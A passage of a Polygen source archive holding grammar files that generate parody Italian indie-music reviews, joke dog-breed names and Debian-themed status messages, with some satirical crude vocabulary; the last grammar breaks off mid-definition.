Prod ::= Nome1^Nome2^Nome3 Cognome1^Cognome2 ; Nome1 ::= "Vil" | "Wol" | "Wer" | "I" | "Den" | "E" | "Ja" | "O" | "Sil" | "Wal" | "A" | "Vai" ; Nome2 ::= "m" | "s" | "l" | "n" | "t" | "zi" | "th" | "d" | "v" | "i" | "lj" | "vd" ; Nome3 ::= "er" | "is" | "am" | "es" | "ar" | "el" | "as" | "os" | "an" | "son" | "y" | "mer" | "in" ; Cognome1 ::= "Ferr" | "Bert" | "B" | "Ross" | "Valent" | "Bar" | "Bertol" | "Ben" | "Mor" | "Catt" | "Bon" | "Mar" ; Cognome2 ::= "ini" | "ellani" | "ari" | "azzi" | "etti" | "i" | "eschi" | "elli" | "illi" | "ani" | "ellini" | "oni" ;polygen-1.0.6.ds2/grm/ita/recensioniindie.grm0000644000175000017500000007353010340417034020426 0ustar enricoenricoI ::= "title: Recensioni Indiesnob\n" ^ "author: gigiriva <derivaandrea@hotmail.com>\n" ^ "language: italian\n" ^ "status:" Aggettivo.M.S "\n" ^ "topic: musica\n" ^ "audience:" Nazionalita.(M|F).P VI Nazionalita.(M|F).P VI Giapponese [VI lettori di "Blow Up" PA1 e delle sue imitazioni PA2|_] e chiunque possa definirsi AggettivoS (+TR AggettivoS TR AggettivoS|_)+ "\n" ^ "disclaim:" un mondo senza parentesi sarebbe un mondo [Avverbio] AggettivoDopo.M.S "\n" ^ "created: 01/10/2005" ; S ::= "" Titolo "" "(" ^Formato ^"," EtichettaF ^"," Anno ^")" AC AC Pippe \DescrIntr PU AC \ Descrizione1 AC ( {\ Descrizione2} AC {\ Confronto} ) AC (++++GiudizioFinale|_) AC Voto ; (************************************** FRASI ********************************************************************) (*----------- TITOLO------------- *) Titolo::= GruppoF "-" "" NomeAlbum "" ; Formato::= [(+++2|3|4|5|10)^"X"^] (++"CD" | "LP" | "EP" | "mini-CD" | (8|12|10)^'') ; Etichetta::= \(tzadik | anticon | "ReR" | future | self | past | antimusic | "World Circuit") | \(green | blue |black | white| naked | neo)^(_|kraft|disc|lable| sonic| 7| sonora| bitch| wide|world) ( _|"Records" | "Music" | ----"Grammofon") ; EtichettaF:=Etichetta ; Anno:= (200^(4|5|6|-7)) ; GruppoF:= ArtistaInv ; NomeAlbum:=AlbumInv ; (*-----------------VOTO FINALE---------------------*) Voto::= (++Decimi | Decimi per (il disco | la musica)^"," Decimi per Motivo2^"."| "(10)" per Motivo2^"," "(0)" per (il disco | la musica)^".") ; Decimi::="(" ^(0|3|4|5|6|"6/7"|7|"7/8"|+++8|"8/9"|9|10|-------11 )^")" ; Motivo2::= i testi | il coraggio | la lunghezza |^che' si'| la confezione | la copertina | l'idea | il prezzo | il digipack | la EtichettaF ; (*---------------Pippe Iniziali------------------------------*) Pippe::= {[(\(GenereC | Genere) PU)+]} {[(\(Carat (Aggettivo|AggettivoS)).(M|F).(S|+++P) PU )+]} ([(\Aggettivo.M.S PU)+] | [(\(Carat |-(City [nel proprio salotto]|AggettivoS TR City|"Il Rock e'" (+++morto|vivo|bello)|si'| no)) PU)+]) AC ; (*----------- Presentazione introduttiva gruppo------------- *) DescrIntr::= (album d'esordio| (ennesima | seconda | terza | decima | quindicesima) uscita) per (questo| (questo | il)(celebre | misconosciuto)) DescrGruppo | (esordio sulla lunga distanza|nuovo [_|capo^|PA1 capo PA2 ^]lavoro) per i GruppoF VI DescrGruppo | ci (ri^|"(ri)"^|_)prova ancora il [solito|collaudato] DescrGruppo | [puntuale] nuova uscita della EtichettaF ^"," che (ci (ri^|"(ri)"^|_)prova | mette a segno un nuovo colpo | sorprende ancora) con questo DescrGruppo | c'e' lo zampino di ArtistaF [^"," AppArtista^","] (nel | in questo) [nuovo | collaudato |_] DescrGruppo | e' la scommessa (di ArtistaF [^"," AppArtista^","]|della EtichettaF ["(non a caso in crisi di" (+++vendite| identita')")"]) questo DescrGruppo | ++IntroArtista ; IntroArtista::= ArtistaF VI AppArtista VI ci riprova con (i GruppoF VI| (un | questo)) DescrGruppo | ArtistaF [VI AppArtista VI] ci sorprende (sempre | [puntualmente]da (dieci|vent'^) anni | raramente) PU \non questa volta PU \i GruppoF sono infatti un DescrGruppo | [ammettiamolo VI[nonostante tutto[e tutti]]] ci aspettavamo (molto | di piu') da ArtistaF [VI AppArtista] PU \e (invece | infatti) ci tocca ascoltare questo DescrGruppo ; DescrGruppo::= ( gruppo [AggettivoS|+++_] (nato da un'idea di Musicista| prodotto da [^l (solito | ^l'onnipresente)]("Steve Albini" |--- "Brian Eno" |++ Musicista.M.S | --- ArtistaV.M.S )) e che vanta nomi quali Musicista (^"," Musicista)+ | gruppo [AggettivoS|+++_] che gravita intorno ( (Al Strumento).(M|F).S di Musicista | (Al Strumento).(M|F).P (di Musicista e Musicista | della coppia Musicista ^"/"^ Musicista) ) | trio formato da (ArtistaF "(" ^Strumento.(M|F).S^ ")" ^"," Musicista "(" ^Strumento.(M|F).S^ ")" e Musicista "(" ^Strumento.(M|F).S^ ")" | Musicista ^"," Musicista e Musicista) | progetto di Musicista "(" ^Strumento.(M|F).S^ ")" e Musicista "("^Strumento.(M|F).S^")" | gruppo [AggettivoS|+++_] nato dall'incontro tra ArtistaF e Musicista | ["mini-"^|-"meta-"^|"proto-"^|--"post-"^|++_](collettivo|gruppo d'improvvisazione|("mini-"^|-"meta-"^|"proto-"^|--"post-"^)(ensemble|orchestrone)) di (8|9|6|-- (1|2|3|-8)^(0|2|6)) elementi ) [_| VI che in quest'occasione si fa accompagnare da (un'orchestra|un gruppo | un collettivo | un gruppetto) di (8|9|6|- (1|2|3|-8)^(0|2|6)) (++++Strumento.(M|F).P [e (8|9|6|- (1|2|3|-8)^(0|2|6)) Strumento.(M|F).P ]| musicisti | elettricisti | impiegati del catasto)] ; ArtistaF:= Musicista.M ; (*----------- Descrizione Disco ------------- *) Descrizione1::= ( (+++ "" NomeAlbum ""| l'album | il disco) e' ([Un] [Aggettivo] Carat2 [Avverbio|_] AggettivoDopo (e [Avverbio|_] AggettivoDopo|-_)).(M|F).S che VerboTr [Avverbio|_] (una serie di|---eserciti di|_) (CaratM AggettivoDopo e [Avverbio] AggettivoDopo).(M|F).P | Strumentazione VI per un (disco | album) AggettivoDopo.M.S | (+++ "" NomeAlbum ""| l'album | il disco) crea (il suono adatto a | la situazione perfetta per) Infinito (CaratM AggettivoDopo [e [Avverbio] AggettivoDopo]).(M|F).P | (+++ "" NomeAlbum ""| l'album | il disco) (+++e' in grado di mettere d'accordo | mettera' d'accordo | stimolera' soprattutto) i fan[_|^s] (Del ArtistaV piu' AggettivoDopo).(M|F).(S|P) e (Del ArtistaV piu' AggettivoDopo).(M|F).(S|P) | (+++ "" NomeAlbum ""| l'album | il disco) affonda le sue radici (Nel (GenereC|+++Genere)).(M|F).S | [(eclettico|AggettivoDopo.M.S) fino alla nausea VI] (+++ "" NomeAlbum ""| l'album | il disco) (mescola| centrifuga|amalgama|mischia|confonde|sovrappone) [Avverbio] ((Genere | GenereC | (Strumento AggettivoDopo).(M|F).P) VI)+ ((Genere | GenereC | (Strumento AggettivoDopo).(M|F).P) VI)+ ((Genere | GenereC | (Strumento AggettivoDopo).(M|F).P) VI)+ e ((Genere | GenereC | (Strumento AggettivoDopo).(M|F).P) ) ) VI (perfetto per | adatto a | ideale per) Azioni PU ; Descrizione2::= ++[suoni di matrice] (GenereC).(M|F) VI (Carat (Aggettivo) [(e|ma|----dunque) (Avverbio Aggettivo)] ).(M|F).(S|P) VI per un disco che (inserisce| VerboTr) un (Fin2 Genere Aggettivo e Aggettivo).(M|F).S in (+++un contesto| una situazione | un mondo | un evolversi | un percorso) (prettamente| assolutamente|marcatamente|esclusivamente|Avverbio) GenereC PU | --(GenereC [Aggettivo|_]).(M|F).S [VI] dunque PU \Descrizione2 | ({(CaratM |--Genere)} {[Aggettivo]}).(M|F).(S|P) e ({(CaratM |--Genere)} {[Aggettivo]}).(M|F).(S|P) (si alternano| gareggiano tra loro | combattono| si sovrappongono| lottano [(tra|fra) loro]| si osservano) Gerundio [Avverbio|_]( (una serie di|---eserciti di|_) (CaratM AggettivoDopo [e [Avverbio|_] AggettivoDopo]).(M|F).P | (Un CaratM [Avverbio|+_] AggettivoDopo [e AggettivoDopo|++_]).(M|F).(S|P) ) PU |- (la si voglia definire (Genere [AggettivoDopo]| GenereC) o (Genere [AggettivoDopo]| GenereC)).(M|F).S VI la musica proposta VerboTr ogni possibile CaratM.(M|F).S ((per Infinito | Gerundio) ({CaratM}{Aggettivo}).(M|F).P| rivelandosi (come| nella forma di| sotto forma di| +_) (Un Aggettivo Carat2).(M|F).S) PU ; Confronto::= il riferimento (potrebbe essere| immediato e') ( uno solo DP (++++ArtistaV|ArtistaInv) PU |(un incrocio | uno scontro | in incontro | una via di mezzo) tra (++++ArtistaV|ArtistaInv) e (++++ArtistaV|ArtistaInv) PU ) |il gruppo (si presenta|-lo si puo' immaginare) [quindi] come (un incrocio | uno scontro | in incontro | una via di mezzo) tra (++++ArtistaV|ArtistaInv) e (++++ArtistaV|ArtistaInv) PU |(ogni|il) riferimento (APers ArtistaV).(M|F).(S|P) (e' puramente casuale | e' scontato | viene naturale | e' obbligatorio | non e' casuale | va evitato | e' Aggettivo.M.S | e' oggettivamente ridicolo) PU | (Il ArtistaV).(M|F).P (del nuovo millennio | del 2000 | dell'era digitale) PU ; Strumentazione::= strumentazione (Aggettivo|AggettivoDopo).F.S PA1 Strumento (-(soltanto | e poco altro| solamente)| ++(VI Strumento)+ | (VI Strumento VI Strumento VI Strumento)+) PA2 [VI (voce AggettivoDopo.F.S |--- voci AggettivoDopo.F.P)] [VI ((Strumento AggettivoDopo).(M|F).P| (Un Strumento AggettivoDopo).(M|F).S) ] | (Un Strumento (AggettivoDopo)).M.S [VI [Avverbio](ostinato|cocciuto|radicale) nel Infinito ({CaratM} {Aggettivo}).(M|F).P [Gerundio (Un {CaratM} {Aggettivo}).(M|F).(S|P)] ] ; (*----------- GIUDIZIO SINTETICO FINALE------------- *) GiudizioFinale::=\(sottovalutato | sopravvalutato | (uno dei migliori album| una delle [poche|tante] perle | miglior album) ((+++del|di questo [ottimo | deludente | drammatico]) Anno| --dell'anno)|Aggettivo.M.(++S|P) | un (disco| album) per (intellettuali | i seguaci di ("Vincenzo Mollica"| "Vincenso Isidoro Mollica")| soli fan | Nazionalita.M.P| incompetenti | ciarlatani | [gli] appassionati (del genere |(Del Genere).(M|F).S|(Del Strumento).(M|F).(S|----P) ) | (appassionati|fan[^s]|ammiratori)(DiPers ArtistaV).(M|F).(S|P))) PU [++_|--\(santi subito| pensione|no|verra' ricordato| ce ne ricorderemo | dritti nel dimenticatoio) (QM|PU)|\(e|ma) speriamo (sia l'ultimo|non abbia seguito|rappresenti il tanto sperato punto di svolta| ArtistaF (vada in pensione|muoia|smetta|cambi mestiere)PU) ] AC ; (********************************** AGGETTIVI E PAROLE ********************************************************************) Aggettivo ::= (AggettivoO)^(M: (S: o | P: i) | F: (S: a | P: e)) |(AggettivoC)^(M: (S: o | P: i) | F: (S: a | P: he)) |(AggettivoE)^(S: e | P: i) |-----(AggettivoCH)^(M: (S: o | P: hi) | F: (S: a | P: he)) |-----(AggettivoA)^(M: (S: a | P: i) | F: (S: a | P: e)) ; AggettivoDopo::= (Aggettivo |-------Nazionalita | ---AggettivoS[^"-"^ (AggettivoS|--Aggettivo)|_] ) ; AggettivoO::= (sussurrat | amar | paracolt | zingar | nud | immediat | acut |complet | assolut| pregn |voluminos| etere|lussuos| lussurios | sfasat | compatt | ignav| tenu | glamouros| alat |coev | acid | libertin | scordat | inquiet | spontane | ambizios| sghemb| obliqu| nitid | [dis^]intossicat| liquid | funere| forzat| slintian|oscur| alien | burrascos| estiv | beatlesian| indifes | ellingtonian| amar | ruvid | american | eccessiv| contadin| distaccat| sonor| pigr| vertiginos| misconosciut|redent| acid | infuocat | catramos | lucid | melmos | depress | vellutat| alien| estrane | concret| assassin | rotond | rozz |quadrat | stilos | [(post|neo|ultra)^("-"|_)^]contamporane | "in(de)terminat" | "in(d(i)e)terminat" |androgin |derivativ | diafan | fulmine | [("de-"|"(de)")^](e|--in)^volut |rarefatt | disinvolt | perfett | sanguign | miracolos | sboccat | masturbatori | morriconian | coatt | "definit(iv)" | evocativ | ombros | iperrealistic|arcan| acut | ottus | cup |gelid | incantat | deterritorializzat | irretit | esorcizzat | freudian | algid | urban | estrem | genuin | scarn | immacolat| ebre |postmodern | "post-modern"| ultramodern| kraut | arrugginit| sgangherat| urlat | ululat | blaterat | auster | dirett| improvvis | superb ) ; AggettivoC::= ( psichedelic | melodic|caleidoscopic | enfatic | lisergic | cinematic| eccentric | scheletric | balcanic | nostalgic | celtic |britannic | antifrastic | melancolic| apocalittic | romantic| liric| chirurgic | manieristic | salvific|intimistic| canonic| parossistic | politic |epilettic| drammatic| metallurgic| scismatic | nevrotic | automatic | unic | mantric | elettric | "(ana)"^logic | analogic | elettronic | magnific | immaginific | cosmic | autistic | [elettro^]magnetic | tonic | conic | selvatic | "(anti)estetic" | cubic | ludic| quantic | magnetic | magmatic| claustrofobic | storic) ; AggettivoCH::= (fanciullesc| fresc | fosc | ciec | tedesc | ricc | farsesc |bianc | burlesc | giullaresc | barocc ) ; AggettivoE::= ( cangiant | "ragiona(n)t"|marzial | demenzial | casual | cortes | specular| monumental| lancinant | rinascimental| attual| sgargiant | surreal| paradossal |claudicant | indipendent| radical | autunnal| invernal| primaveril| popolar | scioccant| spettral| esistenzial| soffic | circolar| sideral | palpitant| android | pedant | irriverent | spettral | vibrant| sinusoidal | ancestral | volgar |trist | gestual | letal|ignorant |disturbant| brillant|mutant| minmal|"(av)"^vincent| frances | celestial |fort| digital | orchestral| banal | orecchiabil | seminal | personal | "(in)"^confondibil | "dilania(n)t" | ridondant | sottil | urgent|newyorkes | covant | berlines | esorcizzant | ingles | suadent | autoreferenzial | "(pre)potent" | chiaroscural | filiform | spumeggiant | dolent | miniatural | raggiant | cantabil | apparent | sfavillant | lunar | solar | stellar | ghiandolar | angolar | debol |"(in)coscient"| (in|--"(in)")^credibil | (im|--"(im)")^possibil ) ; AggettivoA::= (maschilist |realist| fascist| ambientalist |pessimist| nazist | comunist| sodomit | komenist| progressist| cosmopolit | femminist | futurist | manierist | espressionist | impressionist | solist | feticist | solipsist | "sol(ips)"^ist | massimalist | minimalist | terrorist|ottimist | fancazzist| razzist|interist|pessimist | tabagist) ; (* ricorda che gli aggettivi stranieri vanno solo DOPO il nome!!! *) (* ricorda di non mettere articoli prima di aggettivi: alcuni che iniziano per vocale vengono sbagliati! *) AggettivoS::= (freak | kraut| deep | casual | sci | math| emo|mainstream | kitsch| gay| anni ((1|2|3|4|5|6|7|8|9|200)^0) | "home-made" | virtual| free | kinky | unplugged | jazzy| cool | nerd| british| chic|lesbo | underground | space | world| postundicisettembre | vintage | indie | arsty| minimal | deepy | bohemienne | dada | out | pop ) ; Nazionalita::= (italian|spagnol|brasilian|argentin|texan|californian|american|venet|roman|marocchin|magiar|ostrogot|israelian|arab|afgan|egizian|australian|croat|slav|russ|lombard|african|sudafrican|sudamerican)^(M: (S: o | P: i) | F: (S: a | P: e)) |(frances|ingles|scozzes|giappones|irlandes|islandes|newyorkes|finlandes|svedes|milanes|galles|cines|cingales|males|plates|canades|pechines)^(S: e | P: i) ; Avverbio::= ((++++AggettivoO|AggettivoC|AggettivoCH)^amente) ; (* NO M singolari che iniziano per vocale*) Carat::= M: (S: (clima| paesaggio| suono|karma |cabaret| monologo | umorismo| esorcismo| taglio| olocausto| fatalismo| distacco|immaginario| mantra | vomito | cuore | nocciolo| stomaco | pathos | taglio | (-s^|"(s)"^|_)trip | colore | fantasma| tocco| tornado| mood) |P: (ambienti | ritmi | suoni |paesaggi|lampi|territori| lampi |virtuosismi|tagli| spettri|esorcismi| fraseggi|tratti |luoghi| spasmi| conati|mantra|"non-luoghi"| "non/luoghi"| "(non) luoghi"| guizzi | rapimenti | colori| tocchi | fantasmi | viaggi) ) |F: (S: (melodia | deflagrazione | tinta | comunicativita' | naturalezza | armonia | gemma| simpatia| innocenza| ["(pre)"^]potenza |psichedelia| fragranza|colpevolezza| pancia | creativita'| sincerita'| tensione |negritudine | spossatezza| alienazione| dolcezza | spirale | ["(im)"^]perfezione | ansia | liberta' | sensualita') |P: (melodie | deflagrazioni | tinte | espressioni | elucubrazioni | atmosfere | urla | acrobazie |concessioni| sentenze | gemme| stanze| lande| tragedie | sentenze| storie | spirali| fragranze|persecuzioni|incursioni | torture | tragedie| creature | commedie | bombe ) ) ; Carat2::= M: (S: (paesaggio| cabaret| monologo | esorcismo| taglio| olocausto| mantra | vomito | cuore | nocciolo| pathos | trip | colore | fantasma| tocco| tornado| mood) |P: (ambienti | ritmi | suoni |paesaggi|lampi|territori| lampi |virtuosismi|tagli| spettri|esorcismi| fraseggi|tratti |luoghi| spasmi| conati|mantra|"non-luoghi"| "non/luoghi"| "(non) luoghi"| guizzi | rapimenti | colori| tocchi | fantasmi | viaggi) ) |F: (S: (deflagrazione | tinta | gemma| innocenza|comunicativita'| ["(pre)"^]potenza|pancia | creativita'| tensione | alienazione| spirale | ["(im)"^]perfezione | liberta' | sensualita') |P: (melodie | deflagrazioni | tinte | espressioni | elucubrazioni | atmosfere | urla | acrobazie |concessioni| sentenze | gemme| stanze| lande| tragedie | sentenze| storie | spirali| fragranze|persecuzioni|incursioni | torture | tragedie| creature | commedie | bombe ) ) ; CaratM::= M: (S: (clima| paesaggio| suono | umorismo| taglio| fatalismo| distacco| cuore | nocciolo| stomaco | pathos | trip | colore | tocco| tornado| mood) |P: (ambienti | ritmi | suoni |paesaggi|lampi|territori| lampi |virtuosismi|tagli| esorcismi| fraseggi|tratti |luoghi| spasmi| conati|mantra|"non-luoghi"| "non/luoghi"| "(non) luoghi"| guizzi | rapimenti | colori| viaggi) ) |F: (S: (melodia | tinta | armonia | gemma| ["(pre)"^]potenza |psichedelia|comunicativita'| fragranza| pancia | creativita'| sincerita'| tensione | alienazione| spirale | ["(im)"^]perfezione | sensualita') |P: (melodie | tinte | espressioni | elucubrazioni | atmosfere | urla | acrobazie |concessioni| sentenze | gemme| stanze| storie | spirali| fragranze|persecuzioni|incursioni | torture | tragedie| creature | commedie | bombe ) ) ; Azioni::= (camminate | viaggi | sogni | funerali | cerimonie | comizi | percorsi | innamoramenti | omicidi | riunioni | scampagnate | stupri | scalate ) [interiori|++++++++_] (in riva al (mare | lago | ^lo stagno ) | (d|n)^ella mente | nella nebbia | nella propria camer^[ett|"(ett)" |-_]^a | in cantina | nella periferia di City | senza meta | nel deserto [della propria mente | del cuore | di City]| on the road [again]| lungo argini AggettivoDopo.M.P | attraverso lande (solitarie| desolate | AggettivoDopo.F.P)) ; AppArtista::= ([vera e propria] leggenda|inventore |padre| pioniere | scopritore) (Del Genere).(M|F).S | virtuoso (Del Strumento).(M|F).(S|----P) ["(oltre che della bottiglia)"|+++_] | [leggendario| storico | poco conosciuto | stimato | sottovalutato| sopravvalutato]["non-"^| "(non)"|+_ ](artista| musicista) che ha (inventato| re^(_|"-")^inventato | rivoluzionato | "(ri)"^(formato|trattato|posato|nnovato|proposto)| innovato) [per sempre|++_] (il concetto di ((Strumento).(M|F).(S|-----P)|Genere) | (Il Strumento).(M|F).S | (Il Genere).(M|F).S ) [con l'album "" AlbumInv ""| suonando nei ""(ArtistaInv|--(ArtistaV).(M).P)""] | considerato (da tutti | dalla critica | dal sottsocritto | da Musicista) l'^[unico [vero]] erede (DiPers ArtistaV).(M|F).(S|--P) | (pupillo| allievo | --erede | --amico) (di Musicista | ["(e non solo...)"] di ArtistaV.(M|F).S) | ultima scommessa della \EtichettaF | ---nostra vecchia conoscenza | ----ritornato dall'esilio [["(auto)"^]forzato] | artista di punta della [nuova|-prolifica] scena Nazionalita.F.S | [primo| secondo|terzo| quarto] figlio (segreto|illegittimo) di (ArtistaV.F.S e ArtistaV.M.S| ArtistaV.(M|F).S) | famoso ai piu' per avere scoperto (IlOgg ArtistaV).(M|F).(S|P) | PA1 si' VI proprio "QUEL" ArtistaF PA2 ; (************************************** VERBI ********************************************************************) VerboTr::= (dipana | presenta | replica | accelera | gonfia | regala | distorce | annuncia | libera | aggiunge | scioglie | inculca | pennella| controlla | vomita | affronta | allontana | avvicina | cavalca | indica | distrugge | sradica | promulga| promuove| elabora | erige | suona | annuncia | denuncia | aliena | incute | dipinge | abbozza) ; Gerundio::= VerboTr^ndo ; Infinito::= VerboTr^re ; (************************************** Elenco GENERI ********************************************************************) GenereC::= [(Pref)+|+_][GenereF^("-"| ----"/")^]Genere [(isolazionista| rurale | (cosmic | psichedelic |etnic |epic |ne^[g^]r | melodic| concret | apocalittic)^(M: o | F: a ) | tradizionalista | riduzionista | decadente | orientaleggiante | sperimentale| strumentale | da (+++camera| tavolo | giardino| teatrino di vaudeville| garage| denuncia [penale]| film porno [anni 70]| orgasmo) | popolare | revival |vocale| accademico | orchestrale | digitale| sperimentale | [a^]tonale | modale | del delta ) |+_ ] ; Pref::=(+++++post |neoclassic | classic | anti | trip | dream | gay| old |electro| psych| acid | proto | easy | cocktail| City[^"-style"] | digital| "neo-con" | synth | tribal | surf| spaghetti| nu | neo |"down-under" | wub | dark| hard |cow| indie| italo| freak| heavy| free |art | alt | weird | improv| southern | avant| noise |minimal|etno |prewar| underground| vintage)^"-"^ ; Genere::= >> M:(punk | ++++rock | glitch | valzer | vaudeville | mantra | raga |gospel| "grass-roots" | "Canterbury"| dub | rockabilly| "shock-a-billy" |bluegrass | dubstep| country | noise | metal | grindcore | prog[^ressive] | jazz | funk | ragtime| rhythm'n'blues | soul | folk | bop| (slo^[_|w]|hard)^(_|"-"^)core| blues | (++++lo|sci|de|low)^"-"^fi| kraut | reggae | ++++pop |"hip-hop" | rap ) | F:( house |techno| disco| lounge | "chill-out" | (+++++++Wave | "(" ^Wave^ ")") wave | ambient | new age | jungle | "drum'n'bass" ) << ; GenereF:=Genere ; Wave::= ++++no | now | "no(w)" | nao | dark | +++++++new | post | yes | nu | sao ; City::= \ (detroit | chicago | "New York" | "L.A." | kabul| darmstadt | tokyo | canterbury | bristol | "Tin Pan Alley" | broadway | "New Orleans") ; (************************************** Elenco ARTISTI E STRUMENTAZIONE ********************************************************************) Strumento::= M: ( S: (sitar | triangolo | banjo | giradischi | violino | violoncello | tavolo da biliardo |grammofono | sax | clavicembalo [_|--ben temperato]|piano[^forte] | fortepiano | laptop |turntable | basso | contrabbasso| vibrafono | mixer | mandolino | cimbalo | corno inglese | clarinetto ) |P: (sitar | violini | cimbali | sax | pianoforti | turntable | bassi | contrabbassi | mixer | mandolini | cimbali | corni inglesi | fiati | vibrafoni| clarinetti | rumori) ) |F: ( S: (chitarra [elettrica | acustica | classica] | batteria | grancassa | roncola|-- batteria di pentole | tromba | drum machine | viola | cinghia di trasmissione | tuba | pianola | tastiera | voce | prostata) |P: (chitarre [elettriche | acustiche | classiche] | manipolazioni elettroacustiche |batterie | trombe | viole | cinghie di trasmissione | pianole | tastiere | voci | percussioni | frequenze sinusoidali) ) ; Musicista::= ( M: ("Otomo Yoshihide" | "John Zorn" | "Devendra Banhart" | "Steve Albini" | "Mark E. Smith" | "Christian Fennesz" | "Simon Nabatov" | "Aphex Twin" | "Taku Sugimoto" | "Dj Hell" | "Matt Elliott" | "Tom Yorke" |++ Giapponese| "Keith Jarrett" | "Paul McCartney" | "Alex Von Schlippenbach" | "Anthony Braxton" | "Fred Frith" | "Greg Davis" | "Franz Hautzinger" | "Deathprod" | "Jacob Kirkegaard" |"Jack Rose" | "Michael Stipe" | "Al Bano" |"Mike Patton" | "Mauro Repetto" | "Billy Corgan" | "Prefuse 73" | "Beans" | "Keiji Haino" | "Elvis Costello" | "Yann Tiersen" | "Fat Boy Slim" | "Jandek" | "Eminem" | "Pharaoah Sanders" ) |------F: ("Ikue Mori"| "Susie Ibarra" | "Bjork" | "PJ Harvey" | "Diamanda Galas") ) ; Giapponese ::= \(toru | aki| otomo | idetoshi | nobukazu | franco | somei | satoshi) ("Isidoro"|+++++++_) \(mita | take | toma | mishi | oyu | koma| honda | --b[^r]^uca |zingo | buddha | neko | naka | tote)^("\032" |mura |hide | kuma | jima | [ko^]ta| ruki) ; ArtistaV::= (M: ( S: ("Iggy Pop" | "John Coltrane" | "Stravinsky" | "Yustol Dispage" | "Captain Beefheart" | "David Bowie" | "Brian Eno"|"Frank Zappa" | "Bob Dylan" | "Brian Ferry"| "Bruce Springsteen" | "Lou Reed" | "Muddy Waters" | "Beethoven" | "John" \(cale | cage)| "Edgar Varese" | "Stockhausen" | "Ennio Morricone" ) | P: ("Beatles" | "Rolling Stones" |++"Velvet Underground" | "Matmos" |"New York Dolls" | "Gun Club" | "Tottemo Godzilla Riders" | "Cure"| "Kinks" | "Joy Division" | "Talking Heads" | "Pink Floyd" | "Faust" | "Popol Vuh" | "Troggs" | "Nomadi"| "Grateful Dead" | "Doors" | "Led Zeppelin" | "Van Pelt") ) |F: ( S: ("Madonna" | "Bessie Smith" | "Rita Pavone" | "Blondie" | "Jo Squillo" | "Aretha Franklin" | "Marianne Faithfull" | "Yoko Ono" | "Laurie Anderson" | "Alice Coltrane") | P: ("Bangles" | "Supremes" | "Spice Girls" | "Shaggs" | "Bananarama") ) ) ; ArtistaInv::= \[the|---a]\[naked | blind | dead | burned | sophisticated | sweet | ruby | telemarket | weird | gay | winning | polygen | washing | counting | uwen | fucking | 16 | droning | super^ | old ["Time"] | public | american | iraqi] \(hand | city | nation | enemy | hitlers | death | enemies | nicotines | scaruffs | communazists | americans | fabers | bitols | rents | ramones | jefferson | explorers | "Indiana Jones" | dogs | soldplay | blowjob | christs | popes | wagners) [\(of | in | beyond | over ) ("The" \(roof | medicine | city of City | block | wolf | prision | supermarket | zulu)| \(mammeta | victory | sex | sax | eskimo | america | state | City ))] ; AlbumInv::= (+++++[AlAg[(^"-"^AlAg)+|_]\AlPa[^s] AlPr \(the | a)] (+{[AlAg]}{\AlPa}|AlAg|\AlPa) [\in [\the](City | \AlPa | AlAg)] [+++++++_|^"/"^AlbumInv]| "S/t") ; AlAg::= \(sucked | fucking | blue | green | white | black | yellow | pink | naked | true | right | left | deep | immeasurable | easy | low | lower | lowest | binding | blind | deaf | dumb | red | ruby | sleepy | candy | tiny | pippy | wonderful | arab | japanese | improvised | free | bloody | new | old | dead | alive | pretty | mooooooooonty) ; AlPa::= (music | mind | heart | wire | stomp | fuck | bull | eye | blowjob | dance | gang "Bang" | dick | riot | pussycat | punk | sea | heat | skate | ballerina | pipe | mars | twix | forrest | wolf | cat | dog | human | sentence | america | egg | motion | funk | biafra | mentadent | baba | soundcheck | session | desert | fufi | pupu | room | gin | eldorado | AlPr^AlPa ) ; AlPr::= \(with | into | over | under | in | at | of | from | through | between | beyond) ; (************************************** Elementi grammaticali ********************************************************************) Fin2::= M:_ | F: ^a ; Sul ::= M: (S: sul | P: sui) |F: (S: sulla | P: sulle) ; Un ::= M: (S: un | P: dei) |F: (S: una | P: delle) ; Del ::= M: (S: del | P: dei) |F: (S: della | P: delle) ; Nel ::= M: (S: nel | P: nei) |F: (S: nella | P: nelle) ; DiPers ::= M: (S: di | P: dei) |F: (S: di | P: delle) ; APers ::= M: (S: a | P: ai) |F: (S: a | P: alle) ; Al ::= M: (S: al | P: ai) |F: (S: alla | P: alle) ; Il ::= M: (S: il | P: i) |F: (S: la | P: le) ; IlOgg ::= M: (S: _ | P: i) |F: (S: _ | P: le) ; Lo ::= M: (S: lo | P: li) |F: (S: la | P: le) ; VI:= ^","; QM:= ^"?"; PU:= ^"."; TR:= ^"-"^; PA1:= "("^; PA2:= ^")"; AC:="\n"; DP:= ^":"; polygen-1.0.6.ds2/grm/ita/canipericolosi.grm0000644000175000017500000000130010340417034020244 0ustar enricoenricoI ::= "title: Cani Pericolosi\n" ^ "author: Denis <laura@micionline.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: uh?\n" ^ "created: 11/9/2004" ; S ::= Prod ; Prod ::= \Inizio^Fine \Definizione ; Inizio ::= "pitt" | "Bul" | "Dogue" | "Dog" | "Riesen" | "Wolf" | "Ban" | "Rott" | "Sprinz" | "Pittbull" ; Fine ::= "mastif" | "snauzer" | "dogge" | "terrier" | "bulterier" | "bulschnautzer" | "wailer" | "boiler" | "er" | _ ; Definizione ::= "Irakeno" | "Talebano" | "Scannario" | "Brazileiro" | "Meneguin" | "Serbo" | "Ceceno" | "Turco" | "Curdo" | _ ;polygen-1.0.6.ds2/grm/eng/0000755000175000017500000000000010503231445014535 5ustar enricoenricopolygen-1.0.6.ds2/grm/eng/debian/0000755000175000017500000000000010510156112015752 5ustar enricoenricopolygen-1.0.6.ds2/grm/eng/debian/cappuccino.grm0000644000175000017500000000341410503041057020612 0ustar enricoenricoI ::= "title: Messages for Cappuccino\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: useable\n" ^ "topic: Debian\n" ^ "created: 16/09/2006" ; S ::= \ Phrase ; Phrase ::= >Unary | >Binary | -----"Found a bug in" Object ^"! Reporting to" Adjective "BTS..." ; Unary ::= UnaryAction Object ; Binary ::= (>UnaryAction | >BinaryAction) Object (and|with) Object ; UnaryAction ::= -aggregating | arranging | -arranging | assembling | aligning | clearing | checking | --clustering | -collecting | -combining | compiling | composing | converting | compressing | --debugging | evaluating | gathering | grouping | growing | installing | inspecting | linking | mapping | matching | monitoring | --mining | optimizing | organizing | --pairing | processing | refining | repairing | sorting | storing | stripping | testing | transforming | trimming | verifying | --deleting | --formatting | --unoptimizing ; BinaryAction ::= comparing | joining ; Item ::= module | library | executable | agent | --bug | code ; Object ::= Adjective Item | Item "#"^Number ; Adjective ::= 